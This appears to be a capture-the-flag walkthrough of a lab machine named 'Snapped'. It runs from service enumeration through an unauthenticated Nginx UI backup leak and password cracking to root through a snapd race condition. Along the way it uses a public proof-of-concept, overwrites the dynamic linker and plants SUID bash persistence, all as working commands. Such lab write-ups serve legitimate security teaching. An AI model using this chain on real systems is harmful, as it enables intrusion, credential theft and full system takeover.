Reconnaissance

We begin with a standard nmap scan to identify open ports and running services.

nmap -sC -sV -A MACHINE-IP -oA output_file

Open ports:

The scan reveals two services: SSH on port 22 and an nginx web server on port 80 that redirects to snapped.htb. We add the hostname to /etc/hosts and browse to port 80. The landing page offers no obvious attack surface — no login forms, no file uploads, nothing interactive. This tells us enumeration is the next logical step.

Vhost Enumeration

Since the main domain is quiet, there may be virtual hosts (subdomains) serving different applications on the same IP. We fuzz for them using ffuf.

ffuf -u http://snapped.htb -H "HOST: FUZZ.snapped.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

Result: admin.snapped.htb (HTTP 200)

We add admin.snapped.htb to /etc/hosts and navigate to it. A login page appears — this is the Nginx UI admin panel. Default credentials (admin:admin, admin:password, etc.) all fail, so we don't try to brute force the login. Instead, we investigate what the application exposes before authentication.

API Endpoint Discovery

While browsing the admin panel, we notice that a request to /api/install returns HTTP 200 — even without logging in. This hints that the API may not enforce authentication consistently. We run a directory brute force specifically against the /api/ path.

feroxbuster -u http://admin.snapped.htb/api/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -C 500,403,404 -t 30 -d 3

Discovered endpoints:

The /api/backup endpoint stands out immediately — a backup endpoint that returns HTTP 200 without any credentials is a significant finding. We probe it manually with curl.

CVE-2026-27944 - Nginx UI Backup Disclosure

Fetching /api/backup unauthenticated returns a ZIP archive. But what really catches the eye is the response header:

curl -v http://admin.snapped.htb/api/backup --output backup.zip

X-Backup-Security: MgzdI0XJazQ2pR+7FC1BHFZQWxltjcKkp2AqhZcV2QI=:qeClzKyylJyq73sCCc5DJQ==

This is CVE-2026-27944. Nginx UI encrypts its backup with AES-256, but then leaks the encryption key and IV directly in a response header — X-Backup-Security contains <Base64 AES key>:<Base64 IV>. Any unauthenticated attacker who requests the backup also receives everything needed to decrypt it. The encryption provides zero security.

A public PoC handles decryption and even creates a new admin user as a bonus:

git clone https://github.com/Skynoxk/CVE-2026-27944
cd CVE-2026-27944
python exploit_enhanced.py --target http://admin.snapped.htb --decrypt --create-user hacker --password Pwned@123!

The decrypted backup contains a nginx-ui/ directory with a database.db SQLite file — the application's entire user database.

Credential Extraction & Hash Cracking

We inspect the database to find stored user accounts.

sqlite3 database.db
sqlite> .tables
sqlite> select * from users;

Two records are returned: admin and jonathan, each with a bcrypt password hash. The $2a$10$ prefix identifies these as bcrypt with cost factor 10.

We save the hashes to a file and run hashcat against the rockyou wordlist:

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

-m 3200 is the hashcat mode for bcrypt $2*$. One of the hashes cracks successfully, giving us jonathan's plaintext password.

User Flag

With valid credentials for jonathan, we try SSH — and the password works, confirming credential reuse between the web application and the system account.

ssh jonathan@snapped.htb

jonathan@snapped:~$ cat user.txt
HTB{REDACTED}

Privilege Escalation - CVE-2026-3888 (snapd Race Condition)

Background

After landing as jonathan, we look for privilege escalation paths. The system is running a vulnerable version of snapd. The SUID binary snap-confine (used by snapd to set up application sandboxes) is at the center of this exploit.

Here is how the vulnerability works:

• snap-confine runs as SUID root and creates a temporary sandbox directory under /tmp/.snap/
• systemd's tmpfiles service is configured (via /usr/lib/tmpfiles.d/tmp.conf) to clean /tmp every 4 minutes: D /tmp 1777 root root 4m
• When the cleanup deletes .snap, there is a brief window between deletion and recreation where an attacker can place their own directory or symlink in its place
• snap-confine will then operate on the attacker-controlled path — allowing arbitrary file writes as root
• By targeting the dynamic linker (ld-linux-x86-64.so.2) inside the sandbox's root filesystem, we can make any SUID binary load our malicious shared library and execute code as root

Preparation

On our attack machine, we compile two components:

gcc -O2 -static -o firefox_2404 firefox_2404.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell.c

• firefox_2404 — the race condition exploit binary; it monitors /tmp/.snap deletion and rapidly swaps directories at the right moment to win the race
• librootshell.so — a malicious shared library crafted to execute arbitrary code when loaded; it will replace the real dynamic linker inside the sandbox

Upload both to the target:

scp firefox_2404 librootshell.so jonathan@snapped.htb:~/

Exploitation

The exploit requires three coordinated terminal sessions.

Terminal 1 - Start the sandbox and note the PID

We invoke snap-confine directly with a clean environment to start the sandbox process. This creates the /tmp/.snap/ directory that the exploit targets.

env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base core22 snap.firefox.hook.configure /bin/bash

Inside the sandbox shell, record the PID — we'll need it to navigate via /proc later:

cd /tmp && echo $$

Now keep the /tmp directory "touched" (preventing aggressive cleanup) while still allowing .snap to be deleted when its timer fires:

while test -d ./.snap; do touch ./; sleep 1; done

This loop runs until .snap is deleted by systemd, signalling that the race window has opened.

Terminal 2 - Break cached namespaces and weaken the sandbox

We navigate into the sandbox's current working directory via procfs — this gives us access even through namespace restrictions:

cd /proc/PID/cwd

We then escape the cached namespace context by spawning a new systemd scope:

systemd-run --user --scope --unit=snap.d$(date +%s) /bin/bash

Next, we intentionally trigger a failing snap-confine invocation using an invalid base:

env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base snapd snap.firefox.hook.configure /nonexistent

This is expected to fail. The value it provides is that it leaves the mount namespace in an inconsistent state, reducing the sandbox's ability to detect or prevent our manipulation.

Trigger the race:

~/firefox_2404 ~/librootshell.so

firefox_2404 watches for .snap deletion, and the moment it happens, it swaps the directory with our controlled path. Successful output reads trigger detected and swap done. If neither appears, restart from Terminal 1 and wait for the next 4-minute cleanup cycle.

Terminal 3 - Inject the payload into the poisoned filesystem

The exploit writes a file race_pid.txt containing the PID of the new root-level process. We read it and jump into that process's root filesystem via procfs:

PID=$(cat /proc/ORIGINAL_PID/cwd/race_pid.txt)
cd /proc/$PID/root

/proc/<PID>/root gives us a view of the filesystem as seen by the target process — and because we won the race, this is now our controlled sandbox environment.

We place a usable shell binary inside the sandbox (the environment is minimal, so we use busybox):

cp /usr/bin/busybox ./tmp/sh

Now the critical step — we overwrite the dynamic linker with our malicious shared library:

cat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

Every dynamically linked binary on Linux loads ld-linux first before executing. Since snap-confine is SUID root, when it next runs and loads any dynamically linked binary, it will load our fake linker — which executes our payload as root.

Trigger root code execution:

We invoke snap-confine one more time. It is SUID root, it is dynamically linked, and its linker is now ours:

env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \
  --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine

/ # id
uid=0(root) gid=1000(jonathan) groups=1000(jonathan)

We have a root shell inside the sandbox.

Persistence

The sandbox environment is restrictive and ephemeral. We copy bash to a location outside the sandbox and set the SUID bit so we can re-enter root from jonathan's session at any time:

cp /bin/bash /var/snap/firefox/common/bash
chmod 4755 /var/snap/firefox/common/bash
exit

Back in jonathan's normal shell, invoking bash with -p preserves the effective UID (root):

/var/snap/firefox/common/bash -p

bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# cat /root/root.txt
HTB{REDACTED}

Tools Used

Attack Chain

Recon (nmap)
  └─ Port 80 → snapped.htb
       └─ Vhost fuzzing (ffuf)
            └─ admin.snapped.htb → login page
                 └─ /api/backup (unauthenticated, feroxbuster)
                      └─ CVE-2026-27944 — AES key in X-Backup-Security header
                           └─ Decrypt backup ZIP
                                └─ Extract database.db (SQLite)
                                     └─ Crack bcrypt hash (hashcat -m 3200)
                                          └─ SSH as jonathan (user.txt)
                                               └─ CVE-2026-3888 — snapd race condition
                                                    └─ Overwrite ld-linux dynamic linker
                                                         └─ SUID snap-confine → root code exec
                                                              └─ SUID bash → root.txt

Key Vulnerabilities